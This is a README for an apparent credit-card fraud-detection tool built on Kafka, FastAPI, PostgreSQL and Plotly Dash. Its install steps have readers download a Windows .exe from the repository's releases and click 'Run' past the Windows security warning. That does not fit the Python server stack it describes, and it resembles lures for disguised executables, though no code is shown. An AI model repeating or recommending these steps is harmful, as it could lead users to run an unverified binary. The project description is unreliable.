🛡️ fraud-detection-api - Identify suspicious transactions with ease today

This software monitors credit card transactions for suspicious activity. It uses machine learning to flag potential fraud. You receive alerts through Telegram. A dashboard shows live updates. This tool helps you maintain secure financial records without complex manual reviews.
💻 System Requirements
Your computer needs specific parts to run this software. Ensure your machine meets these criteria:
- Operating System: Windows 10 or Windows 11.
- Memory: 8 GB of RAM or more.
- Storage: 500 MB of free hard drive space.
- Connection: An active internet connection for real-time data streaming.
📥 Getting the Software
The process to obtain the program is straightforward. Follow these steps to get the files you need:
- Visit this page to download: https://github.com/Digressive-pulse731/fraud-detection-api/releases.
- Look for the section labeled “Assets” at the bottom of the release notes.
- Click the file ending in .exe to start your download.
- Save the file to your desktop for easy access.
⚙️ Installation and Setup
Once you download the file, your computer handles most of the work. Follow this sequence:
- Locate the downloaded file on your desktop.
- Double-click the file to open the installer.
- Select “Run” if Windows shows a security warning box.
- Follow the on-screen prompts.
- Click “Install” to create a shortcut on your Taskbar.
- The software will launch automatically after the process finishes.
📊 Viewing the Dashboard
The dashboard provides a visual report of all transactions. It displays data in clear charts to help you spot anomalies.
- Check the “Active Monitoring” tab to see real-time streaming data.
- Use the “Alert History” tab to review past notifications.
- Refresh your browser page if the data stops moving.
📲 Configuring Telegram Alerts
The system sends notifications directly to your phone. To set this up:
- Open the Telegram app on your device.
- Search for the bot name provided in the software settings menu.
- Press the “Start” button inside the chat window.
- The system links your unique identifier to the monitoring pipeline.
- You will see a confirmation message once the connection succeeds.
🔍 Understanding the Technology
This system uses several technical layers to ensure accurate detection:
- Kafka: Manages the flow of transaction data.
- Isolation Forest: A machine learning model that identifies outliers or “anomalies.”
- FastAPI: Powers the backend to handle requests.
- PostgreSQL: Stores the records for your review.
- Plotly Dash: Generates the visual dashboard interface.
🛠️ Troubleshooting Common Issues
If you experience problems, use these steps to resolve them:
- App fails to start: Restart your computer and try again.
- No alerts received: Verify your internet connection and check your Telegram bot status.
- Dashboard shows no data: Check if the background service is running in your system tray.
- Slow performance: Close other high-memory programs while the monitor runs.
📝 Support
Use the repository issue tracker to report bugs. Provide your operating system version and a description of the error. This helps the team fix issues faster.
Keywords: anomaly-detection, docker, fastapi, fraud-detection, kafka, machine-learning, plotly-dash, postgresql, python, scikit-learn, telegrambot